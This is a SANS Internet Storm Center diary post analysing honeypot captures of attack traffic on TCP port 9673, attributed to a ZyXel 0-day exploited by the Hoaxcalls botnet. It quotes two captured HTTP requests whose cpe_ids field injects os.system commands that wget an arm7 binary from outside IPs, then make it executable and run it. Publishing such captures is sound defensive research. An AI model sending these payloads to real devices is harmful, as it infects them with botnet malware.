SANS ISC: Attack traffic on TCP port 9673

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

I don't know how many of you pay attention to the Top 10 Ports graphs on your isc.sans.edu dashboard, but I do. Unfortunately, the top 10 is pretty constant, the botnets are attacking the same ports. What I find more interesting is anomalous behavior. Changes from what is normal on a given port. So, a little over a week ago, I saw a jump on a port I wasn't familiar with.

In fact, when I look at the longer term, we've seen the occasional spike, but this is the first one where the number of sources was up significantly, too.

So, what are the attackers looking for in this last week? Well, as I have in previous diaries, I turned to fellow handler, Didier Stevens' tcp-honeypot. Since there seem to be web admin consoles on lots of ports, I set up tcp port 9673 to look like a web server, though it probably wasn't necessary. I brought this up on a VPS I have and within minutes started getting hits (I have included 2 examples below). With a little DuckDuckGo-ing, I came across an advisory for a ZyXel 0-day from last month. I guess someone finally decided to go after it. I was unable to download the second stage (it looks like the servers hosting the payloads may have been shut down already), but according to Radware, this is the Hoaxcalls DDoS botnet in action.

20200429-051959: 0.0.0.0:9673-197.60.52.212:59732 data b"GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1\r\nUser-Agent: XTC\r\nHost: 127.0.0.1:9673\r\nContent-Length: 1000\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\ncpe_ids=__import__('os').system('wget http://212.114.52.128/arm7 -O /tmp/viktor; chmod 777 /tmp/viktor; /tmp/viktor')\r\n\r\n"

20200430-082737: 0.0.0.0:9673-14.177.232.245:51026 data b"GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1\r\nUser-Agent: XTC\r\nHost: 127.0.0.1:9673\r\nContent-Length: 1000\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\n\r\ncpe_ids=__import__('os').system('wget http://178.33.64.107/arm7 -O /tmp/upnp.debug; chmod 777 /tmp/upnp.debug; /tmp/upnp.debug')\r\n\r\n"

As we always say, your IoT devices should not generally be directly exposed to the internet. I know people are fond of saying the perimeter is dead, but seriously, you should still have a firewall that blocks inbound traffic to (at least) your IoT devices.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu